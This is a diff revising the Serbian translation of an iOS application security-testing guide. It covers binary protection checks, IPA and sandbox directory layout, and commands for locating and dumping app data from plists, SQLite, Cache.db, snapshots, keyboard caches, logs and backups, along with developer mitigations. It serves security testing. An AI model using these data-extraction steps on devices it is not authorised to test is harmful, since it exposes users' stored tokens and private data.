@ -47,7 +47,7 @@ Identifikacija **zaštita prisutnih u binarnom kodu**:
otool -hv <app-binary> | grep PIE # Trebalo bi da uključuje PIE flag
```
- **Stack Canaries**: Da bi se validirala integritet steka, kanarin vrednost se postavlja na stek pre pozivanja funkcije i ponovo se validira kada funkcija završi.
- **Stack Canaries**: Da bi se proverila integritet stoga, kanarin vrednost se postavlja na stog pre pozivanja funkcije i ponovo se proverava kada funkcija završi.
```bash
otool -I -v <app-binary> | grep stack_chk # Trebalo bi da uključuje simbole: stack_chk_guard i stack_chk_fail
@ -79,7 +79,7 @@ grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```
- **Neosigurane Random Funkcije**
- **Neosigurane Nasumične Funkcije**
```bash
# Na iOS uređaju
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
### Osnovna Dinamička Analiza
Pogledajte dinamičku analizu koju [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) vrši. Moraćete da se krećete kroz različite prikaze i interagujete sa njima, ali će se povezivati sa nekoliko klasa dok radi druge stvari i pripremiće izveštaj kada završite.
Pogledajte dinamičku analizu koju vrši [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Moraćete da se krećete kroz različite prikaze i komunicirate sa njima, ali će se povezivati sa nekoliko klasa dok radite druge stvari i pripremiće izveštaj kada završite.
### Listing Instaliranih Aplikacija
@ -154,7 +154,7 @@ PID Name Identifier
```
### Osnovna Enumeracija i Hooking
Naučite kako da **enumerišete komponente aplikacije** i kako lako da **hook-ujete metode i klase** sa objection:
Naučite kako da **enumerate the components of the application** i kako lako da **hook methods and classes** sa objection:
{{#ref}}
ios-hooking-with-objection.md
@ -162,15 +162,15 @@ ios-hooking-with-objection.md
### IPA Struktura
Struktura **IPA datoteke** je suštinski kao **zipovana paketa**. Preimenovanjem ekstenzije u `.zip`, može se **dekompresovati** da bi se otkrio njen sadržaj. Unutar ove strukture, **Bundle** predstavlja potpuno upakovanu aplikaciju spremnu za instalaciju. Unutra, naći ćete direktorijum nazvan `<NAME>.app`, koji obuhvata resurse aplikacije.
Struktura **IPA datoteke** je suštinski kao **zipped package**. Preimenovanjem ekstenzije u `.zip`, može se **dekompresovati** da bi se otkrio njen sadržaj. Unutar ove strukture, **Bundle** predstavlja potpuno upakovanu aplikaciju spremnu za instalaciju. Unutra, naći ćete direktorijum nazvan `<NAME>.app`, koji obuhvata resurse aplikacije.
- **`Info.plist`**: Ova datoteka sadrži specifične konfiguracione detalje aplikacije.
- **`_CodeSignature/`**: Ovaj direktorijum uključuje plist datoteku koja sadrži potpis, osiguravajući integritet svih datoteka u paketu.
- **`Assets.car`**: Kompresovana arhiva koja čuva datoteke resursa poput ikona.
- **`Assets.car`**: Kompresovana arhiva koja čuva datoteke sa resursima poput ikona.
- **`Frameworks/`**: Ova fascikla sadrži nativne biblioteke aplikacije, koje mogu biti u obliku `.dylib` ili `.framework` datoteka.
- **`PlugIns/`**: Ovo može uključivati ekstenzije aplikacije, poznate kao `.appex` datoteke, iako nisu uvek prisutne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Koristi se za čuvanje trajnih podataka vaše aplikacije za offline korišćenje, za keširanje privremenih podataka i za dodavanje funkcionalnosti poništavanja u vašu aplikaciju na jednom uređaju. Da bi se podaci sinhronizovali između više uređaja u jednom iCloud nalogu, Core Data automatski odražava vašu šemu u CloudKit kontejneru.
- **`PlugIns/`**: Ovo može uključivati ekstenzije aplikacije, poznate kao `.appex` datoteke, iako one nisu uvek prisutne. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Koristi se za čuvanje trajnih podataka vaše aplikacije za offline korišćenje, za keširanje privremenih podataka i za dodavanje funkcionalnosti poništavanja u vašu aplikaciju na jednom uređaju. Da bi se podaci sinhronizovali između više uređaja u jednom iCloud nalogu, Core Data automatski odražava vašu šemu u CloudKit kontejneru.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Datoteka `PkgInfo` je alternativni način za određivanje tipa i kodova kreatora vaše aplikacije ili paketa.
- **en.lproj, fr.proj, Base.lproj**: Su paketi jezika koji sadrže resurse za te specifične jezike, i podrazumevani resurs u slučaju da je jezik nije podržan.
- **en.lproj, fr.proj, Base.lproj**: To su jezički paketi koji sadrže resurse za te specifične jezike, i podrazumevani resurs u slučaju da jezik nije podržan.
- **Bezbednost**: Direktorijum `_CodeSignature/` igra ključnu ulogu u bezbednosti aplikacije verifikovanjem integriteta svih datoteka u paketu putem digitalnih potpisa.
- **Upravljanje Resursima**: Datoteka `Assets.car` koristi kompresiju za efikasno upravljanje grafičkim resursima, što je ključno za optimizaciju performansi aplikacije i smanjenje njene ukupne veličine.
- **Frameworks i PlugIns**: Ovi direktorijumi naglašavaju modularnost iOS aplikacija, omogućavajući programerima da uključe ponovo upotrebljive biblioteke koda (`Frameworks/`) i prošire funkcionalnost aplikacije (`PlugIns/`).
@ -178,7 +178,7 @@ Struktura **IPA datoteke** je suštinski kao **zipovana paketa**. Preimenovanjem
**Info.plist**
**Info.plist** služi kao kamen temeljac za iOS aplikacije, obuhvatajući ključne konfiguracione podatke u obliku **ključ-vrednost** parova. Ova datoteka je neophodna ne samo za aplikacije već i za ekstenzije aplikacija i frameworke koji su upakovani unutar. Struktuirana je u XML ili binarnom formatu i sadrži kritične informacije koje se kreću od dozvola aplikacije do bezbednosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, može se konsultovati [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
**Info.plist** služi kao kamen temeljac za iOS aplikacije, obuhvatajući ključne konfiguracione podatke u obliku **key-value** parova. Ova datoteka je neophodna ne samo za aplikacije već i za ekstenzije aplikacija i frameworke koji su upakovani unutar. Struktuirana je u XML ili binarnom formatu i sadrži kritične informacije koje se kreću od dozvola aplikacije do bezbednosnih konfiguracija. Za detaljno istraživanje dostupnih ključeva, možete se obratiti [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Za one koji žele da rade sa ovom datotekom u pristupačnijem formatu, konverzija u XML može se lako postići korišćenjem `plutil` na macOS-u (dostupno nativno na verzijama 10.2 i novijim) ili `plistutil` na Linuxu. Komande za konverziju su sledeće:
@ -195,14 +195,14 @@ Među mnoštvom informacija koje **Info.plist** datoteka može otkriti, značajn
```bash
$ grep -i <keyword> Info.plist
```
**Putanje podataka**
**Data Paths**
U iOS okruženju, direktorijumi su posebno dodeljeni za **sistemske aplikacije** i **aplikacije instalirane od strane korisnika**. Sistemske aplikacije se nalaze u direktorijumu `/Applications`, dok se aplikacije instalirane od strane korisnika nalaze pod `/var/mobile/containers/Data/Application/`. Ove aplikacije imaju jedinstveni identifikator poznat kao **128-bitni UUID**, što otežava ručno lociranje fascikle aplikacije zbog nasumičnosti imena direktorijuma.
U iOS okruženju, direktorijumi su posebno dodeljeni za **sistemske aplikacije** i **aplikacije instalirane od strane korisnika**. Sistemske aplikacije se nalaze u direktorijumu `/Applications`, dok se aplikacije instalirane od strane korisnika nalaze pod `/var/mobile/containers/Data/Application/`. Ove aplikacije imaju jedinstveni identifikator poznat kao **128-bit UUID**, što otežava ručno lociranje fascikle aplikacije zbog nasumičnosti imena direktorijuma.
> [!WARNING]
> Kako aplikacije u iOS moraju biti u sandboxu, svaka aplikacija će takođe imati fasciklu unutar **`$HOME/Library/Containers`** sa **`CFBundleIdentifier`** aplikacije kao imenom fascikle.
> Kako aplikacije u iOS moraju biti u sandboxu, svaka aplikacija će takođe imati fasciklu unutar **`$HOME/Library/Containers`** sa **`CFBundleIdentifier`** aplikacije kao naziv fascikle.
>
> Međutim, obe fascikle (fascikle podataka i kontejnera) imaju datoteku **`.com.apple.mobile_container_manager.metadata.plist`** koja povezuje obe datoteke u ključnoj reči `MCMetadataIdentifier`).
> Međutim, obe fascikle (fascikle podataka i kontejnera) imaju datoteku **`.com.apple.mobile_container_manager.metadata.plist`** koja povezuje obe datoteke u ključnoj `MCMetadataIdentifier`).
Da bi se olakšalo otkrivanje direktorijuma instalacije aplikacije instalirane od strane korisnika, **objection tool** pruža korisnu komandu, `env`. Ova komanda otkriva detaljne informacije o direktorijumu za dotičnu aplikaciju. Ispod je primer kako koristiti ovu komandu:
```bash
@ -224,46 +224,46 @@ Komande kao što su `ps` i `lsof` se takođe mogu koristiti za identifikaciju pr
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
```
**Direktorijum paketa:**
**Bundle directory:**
- **AppName.app**
- Ovo je paket aplikacije kao što je viđeno ranije u IPA, sadrži osnovne podatke aplikacije, statički sadržaj kao i kompajlirani binarni fajl aplikacije.
- Ovaj direktorijum je vidljiv korisnicima, ali **korisnici ne mogu da pišu u njega**.
- Sadržaj u ovom direktorijumu **nije backup-ovan**.
- Sadržaj ovog foldera se koristi za **validaciju potpisa koda**.
- Ovo je Application Bundle kao što je viđeno ranije u IPA, sadrži osnovne podatke aplikacije, statički sadržaj kao i kompajlirani binarni fajl aplikacije.
- Ova direktorija je vidljiva korisnicima, ali **korisnici ne mogu pisati u nju**.
- Sadržaj u ovoj direktoriji **nije backup-ovan**.
- Sadržaj ove fascikle se koristi za **validaciju potpisa koda**.
**Direktorijum podataka:**
**Data directory:**
- **Documents/**
- Sadrži sve podatke koje generišu korisnici. Krajnji korisnik aplikacije pokreće kreiranje ovih podataka.
- Vidljiv korisnicima i **korisnici mogu da pišu u njega**.
- Sadržaj u ovom direktorijumu je **backup-ovan**.
- Vidljiva korisnicima i **korisnici mogu pisati u nju**.
- Sadržaj u ovoj direktoriji je **backup-ovan**.
- Aplikacija može onemogućiti putanje postavljanjem `NSURLIsExcludedFromBackupKey`.
- **Library/**
- Sadrži sve **fajlove koji nisu specifični za korisnika**, kao što su **kešovi**, **preferencije**, **kolačići** i konfiguracione datoteke sa listom svojstava (plist).
- iOS aplikacije obično koriste poddirektorijume `Application Support` i `Caches`, ali aplikacija može kreirati prilagođene poddirektorijume.
- Sadrži sve **fajlove koji nisu specifični za korisnika**, kao što su **kešovi**, **preferencije**, **kolačići** i konfiguracione datoteke (plist).
- iOS aplikacije obično koriste poddirektorije `Application Support` i `Caches`, ali aplikacija može kreirati prilagođene poddirektorije.
- **Library/Caches/**
- Sadrži **polu-permanentne keširane fajlove.**
- Nevidljiv korisnicima i **korisnici ne mogu da pišu u njega**.
- Sadržaj u ovom direktorijumu **nije backup-ovan**.
- OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je prostor za skladištenje nizak.
- Nevidljiva korisnicima i **korisnici ne mogu pisati u nju**.
- Sadržaj u ovoj direktoriji **nije backup-ovan**.
- OS može automatski obrisati fajlove iz ove direktorije kada aplikacija nije pokrenuta i kada je prostor za skladištenje nizak.
- **Library/Application Support/**
- Sadrži **permanentne** **fajlove** neophodne za rad aplikacije.
- **Nevidljiv** **korisnicima** i korisnici ne mogu da pišu u njega.
- Sadržaj u ovom direktorijumu je **backup-ovan**.
- **Nevidljiva** **korisnicima** i korisnici ne mogu pisati u nju.
- Sadržaj u ovoj direktoriji je **backup-ovan**.
- Aplikacija može onemogućiti putanje postavljanjem `NSURLIsExcludedFromBackupKey`.
- **Library/Preferences/**
- Koristi se za čuvanje svojstava koja mogu **ostati čak i nakon ponovnog pokretanja aplikacije**.
- Informacije se čuvaju, nešifrovane, unutar sandbox-a aplikacije u plist datoteci nazvanoj \[BUNDLE_ID].plist.
- Informacije se čuvaju, nešifrovane, unutar sandbox-a aplikacije u plist datoteci pod nazivom \[BUNDLE_ID].plist.
- Svi parovi ključ/vrednost sačuvani koristeći `NSUserDefaults` mogu se naći u ovoj datoteci.
- **tmp/**
- Koristite ovaj direktorijum za pisanje **privremenih fajlova** koji ne moraju da opstanu između pokretanja aplikacije.
- Koristite ovu direktoriju za pisanje **privremenih fajlova** koji ne moraju da opstanu između pokretanja aplikacije.
- Sadrži nepermanentne keširane fajlove.
- **Nevidljiv** korisnicima.
- Sadržaj u ovom direktorijumu nije backup-ovan.
- OS može automatski obrisati fajlove iz ovog direktorijuma kada aplikacija nije pokrenuta i kada je prostor za skladištenje nizak.
- **Nevidljiva** korisnicima.
- Sadržaj u ovoj direktoriji nije backup-ovan.
- OS može automatski obrisati fajlove iz ove direktorije kada aplikacija nije pokrenuta i kada je prostor za skladištenje nizak.
Pogledajmo bliže direktorijum paketa aplikacije iGoat-Swift (.app) unutar direktorijuma paketa (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
Pogledajmo bliže Application Bundle (.app) direktoriju iGoat-Swift unutar Bundle direktorije (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -295,7 +295,7 @@ DVIA-v2:
```
**Proverite da li je aplikacija enkriptovana**
Pogledajte da li ima ikakvog izlaza za:
Pogledajte da li ima izlaza za:
```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```
@ -377,9 +377,9 @@ Najčešći način za trajno čuvanje podataka u plist datotekama je korišćenj
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) pruža programski interfejs za interakciju sa podrazumevanim sistemom. Podrazumevani sistem omogućava aplikaciji da prilagodi svoje ponašanje prema **preferencama korisnika**. Podaci sačuvani pomoću `NSUserDefaults` mogu se pregledati u paketu aplikacije. Ova klasa čuva **podatke** u **plist** **datoteci**, ali je namenjena za korišćenje sa malim količinama podataka.
Ovi podaci više ne mogu biti direktno dostupni putem pouzdanog računara, ali se mogu pristupiti izvođenjem **backup-a**.
Ovi podaci se ne mogu više direktno pristupiti putem pouzdanog računara, ali se mogu pristupiti izvođenjem **backup-a**.
Možete **dump** informacije sačuvane korišćenjem **`NSUserDefaults`** pomoću `objection's ios nsuserdefaults get`
Možete **dump** informacije sačuvane korišćenjem **`NSUserDefaults`** koristeći objection-ov `ios nsuserdefaults get`
Da biste pronašli sve plist datoteke koje koristi aplikacija, možete pristupiti `/private/var/mobile/Containers/Data/Application/{APPID}` i pokrenuti:
```bash
@ -391,7 +391,7 @@ Da biste konvertovali fajlove iz **XML ili binarnog (bplist)** formata u XML, do
```bash
$ plutil -convert xml1 Info.plist
```
**Za Linux korisnike:** Prvo instalirajte `libplist-utils`, a zatim koristite `plistutil` da konvertujete vaš fajl:
**Za korisnike Linux-a:** Prvo instalirajte `libplist-utils`, a zatim koristite `plistutil` da konvertujete vaš fajl:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
@ -434,17 +434,17 @@ NSLog(@"data stored in core data");
### YapDatabase
[YapDatabase](https://github.com/yapstudios/YapDatabase) je skladište ključ/vrednost izgrađeno na vrhu SQLite-a.\
Pošto su Yap baze podataka sqlite baze podataka, možete ih pronaći koristeći predloženu komandu u prethodnom odeljku.
Pošto su Yap baze podataka sqlite baze, možete ih pronaći koristeći predloženu komandu u prethodnom odeljku.
### Druge SQLite Baze Podataka
### Other SQLite Databases
Uobičajeno je da aplikacije kreiraju svoje vlastite sqlite baze podataka. Mogu **čuvati** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga, uvek je zanimljivo proveriti svaku bazu podataka unutar direktorijuma aplikacije. Stoga idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`)
Uobičajeno je da aplikacije kreiraju svoje vlastite sqlite baze podataka. Mogu **čuvati** **osetljive** **podatke** na njima i ostaviti ih nešifrovane. Stoga, uvek je zanimljivo proveriti svaku bazu podataka unutar direktorijuma aplikacija. Stoga idite u direktorijum aplikacije gde su podaci sačuvani (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databases
Razvijači mogu **čuvati i sinhronizovati podatke** unutar **NoSQL cloud-hosted baze podataka** putem Firebase Real-Time Databases. Podaci se čuvaju u JSON formatu i sinhronizuju se svim povezanim klijentima u realnom vremenu.
Razvijači mogu da **čuvaju i sinhronizuju podatke** unutar **NoSQL cloud-hosted baze podataka** putem Firebase Real-Time Databases. Podaci se čuvaju u JSON formatu i sinhronizuju se svim povezanim klijentima u realnom vremenu.
Možete pronaći kako da proverite pogrešno konfigurisane Firebase baze podataka ovde:
@ -454,7 +454,7 @@ Možete pronaći kako da proverite pogrešno konfigurisane Firebase baze podatak
### Realm databases
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) nude moćnu alternativu za čuvanje podataka, koju Apple ne pruža. Po defaultu, **čuvaju podatke nešifrovane**, a šifrovanje je dostupno kroz specifičnu konfiguraciju.
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) nude moćnu alternativu za skladištenje podataka, koju Apple ne pruža. Po defaultu, **čuvaju podatke nešifrovane**, a šifrovanje je dostupno kroz specifičnu konfiguraciju.
Baze podataka se nalaze na: `/private/var/mobile/Containers/Data/Application/{APPID}`. Da biste istražili ove datoteke, možete koristiti komande kao:
```bash
@ -477,9 +477,9 @@ let realm = try Realm(configuration: config)
fatalError("Error opening realm: \(error)")
}
```
### Couchbase Lite Baze Podataka
### Couchbase Lite Databases
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) se opisuje kao **lagani** i **ugrađeni** motor baze podataka koji prati **orijentisani na dokumente** (NoSQL) pristup. Dizajniran da bude nativan za **iOS** i **macOS**, nudi mogućnost besprekornog sinhronizovanja podataka.
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) se opisuje kao **lagani** i **ugrađeni** sistem za baze podataka koji prati **orijentisani na dokumente** (NoSQL) pristup. Dizajniran da bude nativan za **iOS** i **macOS**, nudi mogućnost besprekornog sinhronizovanja podataka.
Da bi se identifikovale potencijalne Couchbase baze podataka na uređaju, sledeći direktorijum treba pregledati:
```bash
@ -508,11 +508,11 @@ Da biste pregledali kolačić fajl, možete koristiti [**ovaj python skript**](h
```
### Cache
Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori u Cache.db** bazi podataka. Ova baza podataka može sadržati **osetljive podatke**, ako su tokeni, korisnička imena ili bilo koje druge osjetljive informacije keširane. Da biste pronašli keširane informacije, otvorite direktorijum podataka aplikacije (`/var/mobile/Containers/Data/Application/<UUID>`) i idite na `/Library/Caches/<Bundle Identifier>`. **WebKit keš se takođe čuva u Cache.db** datoteci. **Objection** može otvoriti i interagovati sa bazom podataka pomoću komande `sqlite connect Cache.db`, jer je to n**ormalna SQLite baza**.
Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori u Cache.db** bazi podataka. Ova baza podataka može sadržati **osetljive podatke**, ako su tokeni, korisnička imena ili bilo koje druge osjetljive informacije keširane. Da biste pronašli keširane informacije, otvorite direktorijum podataka aplikacije (`/var/mobile/Containers/Data/Application/<UUID>`) i idite na `/Library/Caches/<Bundle Identifier>`. **WebKit keš se takođe čuva u Cache.db** datoteci. **Objection** može otvoriti i interagovati sa bazom podataka pomoću komande `sqlite connect Cache.db`, jer je to n**ormalna SQLite baza podataka**.
Preporučuje se **onemogućavanje keširanja ovih podataka**, jer može sadržati osjetljive informacije u zahtevu ili odgovoru. Sledeća lista prikazuje različite načine za postizanje ovog cilja:
Preporučuje se **onemogućavanje keširanja ovih podataka**, jer može sadržati osetljive informacije u zahtevu ili odgovoru. Sledeća lista prikazuje različite načine za postizanje ovog cilja:
1. Preporučuje se uklanjanje keširanih odgovora nakon odjave. To se može uraditi pomoću metode koju je obezbedio Apple pod nazivom [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Možete pozvati ovu metodu na sledeći način:
1. Preporučuje se uklanjanje keširanih odgovora nakon odjave. To se može uraditi pomoću metode koju je obezbedio Apple pod nazivom [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Ovu metodu možete pozvati na sledeći način:
`URLCache.shared.removeAllCachedResponses()`
@ -528,11 +528,11 @@ Ova metoda će ukloniti sve keširane zahteve i odgovore iz Cache.db datoteke.
### Snapshots
Kad god pritisnete dugme za početnu stranu, iOS **uzima snimak trenutnog ekrana** kako bi mogao da izvrši prelaz na aplikaciju na mnogo glatkiji način. Međutim, ako su **osetljivi** **podatci** prisutni na trenutnom ekranu, biće **sačuvani** u **slici** (koja **ostaje** **i nakon** **ponovnog pokretanja**). Ovo su snimci koje možete takođe pristupiti dvostrukim dodirom na početnom ekranu da biste prešli između aplikacija.
Kad god pritisnete dugme za početnu stranu, iOS **uzima snimak trenutnog ekrana** kako bi mogao da izvrši prelaz na aplikaciju na mnogo glatkiji način. Međutim, ako su **osetljivi** **podatci** prisutni na trenutnom ekranu, biće **sačuvani** u **sliki** (koja **ostaje** **i nakon** **ponovnog pokretanja**). Ovo su snimci koje možete takođe pristupiti dvostrukim dodirom na početni ekran da biste prešli između aplikacija.
Osim ako iPhone nije jailbreak-ovan, **napadač** treba da ima **pristup** **uređaju** **otključanom** da bi video ove snimke ekrana. Podrazumevano, poslednji snimak se čuva u sandbox-u aplikacije u `Library/Caches/Snapshots/` ili `Library/SplashBoard/Snapshots` folderu (pouzdani računari ne mogu pristupiti datotečnom sistemu od iOX 7.0).
Osim ako iPhone nije jailbreak-ovan, **napadač** treba da ima **pristup** **uređaju** **otključanom** da bi video ove snimke ekrana. Podrazumevano, poslednji snimak se čuva u sandbox-u aplikacije u `Library/Caches/Snapshots/` ili `Library/SplashBoard/Snapshots` folderu (pouzdani računari ne mogu pristupiti datotečnom sistemu od iOS 7.0).
Jedan od načina da se spreči ovo loše ponašanje je da se stavi prazan ekran ili ukloni osjetljivi podatak pre nego što se uzme snimak koristeći funkciju `ApplicationDidEnterBackground()`.
Jedan od načina da se spreči ovo loše ponašanje je da se stavi prazan ekran ili ukloni osetljivi podatak pre nego što se uzme snimak koristeći funkciju `ApplicationDidEnterBackground()`.
Sledeći je primer metode za otklanjanje problema koja će postaviti podrazumevani snimak ekrana.
@ -566,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview];
}
```
Ovo postavlja pozadinsku sliku na `overlayImage.png` kada je aplikacija u pozadini. Sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek zameniti trenutni prikaz.
Ovo postavlja pozadinsku sliku na `overlayImage.png` svaki put kada se aplikacija pozadinski pokrene. Sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek zameniti trenutni prikaz.
### Keychain
@ -589,7 +589,7 @@ Sa iOS 8.0 i novijim verzijama, korisnici mogu instalirati ekstenzije prilagođe
**Preporuke za Bezbednost:**
- Preporučuje se onemogućavanje tastatura trećih strana radi poboljšane bezbednosti.
- Budite svesni funkcija automatskog ispravljanja i automatskih predloga podrazumevane iOS tastature, koje mogu sačuvati osetljive informacije u keš datotekama smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ove keš datoteke treba redovno proveravati na prisustvo osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Podešavanja > Opšte > Resetuj > Resetuj Rečnik Tastature** radi brisanja keširanih podataka.
- Budite svesni funkcija automatskog ispravljanja i automatskih predloga podrazumevane iOS tastature, koje mogu sačuvati osetljive informacije u keš datotekama smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ove keš datoteke treba redovno proveravati na prisustvo osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Podešavanja > Opšte > Resetuj > Resetuj rečnik tastature** radi brisanja keširanih podataka.
- Presretanje mrežnog saobraćaja može otkriti da li prilagođena tastatura prenosi pritiske tastera na daljinu.
### **Prevencija Keširanja Polja za Tekst**
@ -604,17 +604,17 @@ Pored toga, programeri bi trebali osigurati da tekstualna polja, posebno ona za
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **Logovi**
## **Logs**
Debugovanje koda često uključuje korišćenje **logovanja**. Postoji rizik jer **logovi mogu sadržati osetljive informacije**. Ranije, u iOS 6 i starijim verzijama, logovi su bili dostupni svim aplikacijama, što je predstavljalo rizik od curenja osetljivih podataka. **Sada su aplikacije ograničene na pristup samo svojim logovima**.
Debugging koda često uključuje korišćenje **logging**. Postoji rizik jer **logovi mogu sadržati osetljive informacije**. Ranije, u iOS 6 i starijim verzijama, logovi su bili dostupni svim aplikacijama, što je predstavljalo rizik od curenja osetljivih podataka. **Sada su aplikacije ograničene na pristup samo svojim logovima**.
Uprkos ovim ograničenjima, **napadač sa fizičkim pristupom** otključanom uređaju može to iskoristiti povezivanjem uređaja sa računarom i **čitanjem logova**. Važno je napomenuti da logovi ostaju na disku čak i nakon deinstalacije aplikacije.
Da bi se smanjili rizici, preporučuje se **temeljno interagovanje sa aplikacijom**, istražujući sve njene funkcionalnosti i unose kako bi se osiguralo da se nijedna osetljiva informacija ne beleži nenamerno.
Da bi se smanjili rizici, savetuje se da se **temeljno interaguje sa aplikacijom**, istražujući sve njene funkcionalnosti i unose kako bi se osiguralo da se osetljive informacije ne beleže nenamerno.
Kada pregledate izvorni kod aplikacije u potrazi za potencijalnim curenjima, tražite i **preddefinisane** i **prilagođene logovanje izjave** koristeći ključne reči kao što su `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, i sve pominjanja `Logging` ili `Logfile` za prilagođene implementacije.
Kada pregledate izvorni kod aplikacije u potrazi za potencijalnim curenjima, tražite i **predefinisane** i **prilagođene logovanje izjave** koristeći ključne reči kao što su `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, i sve pominjanja `Logging` ili `Logfile` za prilagođene implementacije.
### **Praćenje Sistemskih Logova**
### **Monitoring System Logs**
Aplikacije beleže razne informacije koje mogu biti osetljive. Da biste pratili ove logove, alati i komande kao što su:
```bash
@ -627,32 +627,32 @@ su korisni. Pored toga, **Xcode** pruža način za prikupljanje konzolnih logova
2. Povežite iOS uređaj.
3. Idite na **Window** -> **Devices and Simulators**.
4. Izaberite svoj uređaj.
5. Aktivirajte problem koji istražujete.
5. Pokrenite problem koji istražujete.
6. Koristite dugme **Open Console** da biste pregledali logove u novom prozoru.
Za naprednije logovanje, povezivanje sa shell-om uređaja i korišćenje **socat** može pružiti praćenje logova u realnom vremenu:
Za naprednije logovanje, povezivanje sa shell-om uređaja i korišćenje **socat** može omogućiti praćenje logova u realnom vremenu:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Slede komande za posmatranje log aktivnosti, koje mogu biti neprocenjive za dijagnostikovanje problema ili identifikovanje potencijalnog curenja podataka u logovima.
Slede komande za posmatranje aktivnosti logova, što može biti neprocenjivo za dijagnostikovanje problema ili identifikovanje potencijalnog **data leakage** u logovima.
## Bekap
## Backupi
**Funkcije automatskog bekapa** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes (do macOS Catalina), Finder (od macOS Catalina nadalje) ili iCloud. Ovi bekapovi obuhvataju gotovo sve podatke uređaja, osim veoma osetljivih elemenata kao što su detalji o Apple Pay-u i konfiguracije Touch ID-a.
**Auto-backup funkcije** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes (do macOS Catalina), Finder (od macOS Catalina nadalje) ili iCloud. Ovi backupovi obuhvataju gotovo sve podatke uređaja, osim veoma osetljivih elemenata kao što su detalji o Apple Pay-u i konfiguracije Touch ID-a.
### Bezbednosni Rizici
Uključivanje **instaliranih aplikacija i njihovih podataka** u bekapove postavlja pitanje potencijalnog **curenja podataka** i rizika da **modifikacije bekapa mogu promeniti funkcionalnost aplikacije**. Preporučuje se **da se ne čuva osetljive informacije u običnom tekstu** unutar bilo kog direktorijuma aplikacije ili njenih poddirektorijuma kako bi se umanjili ovi rizici.
Uključivanje **instaliranih aplikacija i njihovih podataka** u backupove postavlja pitanje potencijalnog **data leakage** i rizik da **modifikacije backupa mogu promeniti funkcionalnost aplikacije**. Preporučuje se da **ne čuvate osetljive informacije u običnom tekstu** unutar bilo kog direktorijuma aplikacije ili njenih poddirektorijuma kako biste umanjili ove rizike.
### Isključivanje Fajlova iz Bekapa
### Isključivanje Fajlova iz Backupova
Fajlovi u `Documents/` i `Library/Application Support/` se po defaultu bekapuju. Programeri mogu isključiti specifične fajlove ili direktorijume iz bekapa koristeći `NSURL setResourceValue:forKey:error:` sa `NSURLIsExcludedFromBackupKey`. Ova praksa je ključna za zaštitu osetljivih podataka od uključivanja u bekapove.
Fajlovi u `Documents/` i `Library/Application Support/` se po defaultu čuvaju u backupu. Programeri mogu isključiti specifične fajlove ili direktorijume iz backupova koristeći `NSURL setResourceValue:forKey:error:` sa `NSURLIsExcludedFromBackupKey`. Ova praksa je ključna za zaštitu osetljivih podataka od uključivanja u backupove.
### Testiranje na Ranljivosti
Da biste procenili bezbednost bekapa aplikacije, počnite sa **kreiranjem bekapa** koristeći Finder, a zatim ga locirajte koristeći uputstva iz [Apple-ove zvanične dokumentacije](https://support.apple.com/en-us/HT204215). Analizirajte bekap za osetljive podatke ili konfiguracije koje bi mogle biti promenjene da utiču na ponašanje aplikacije.
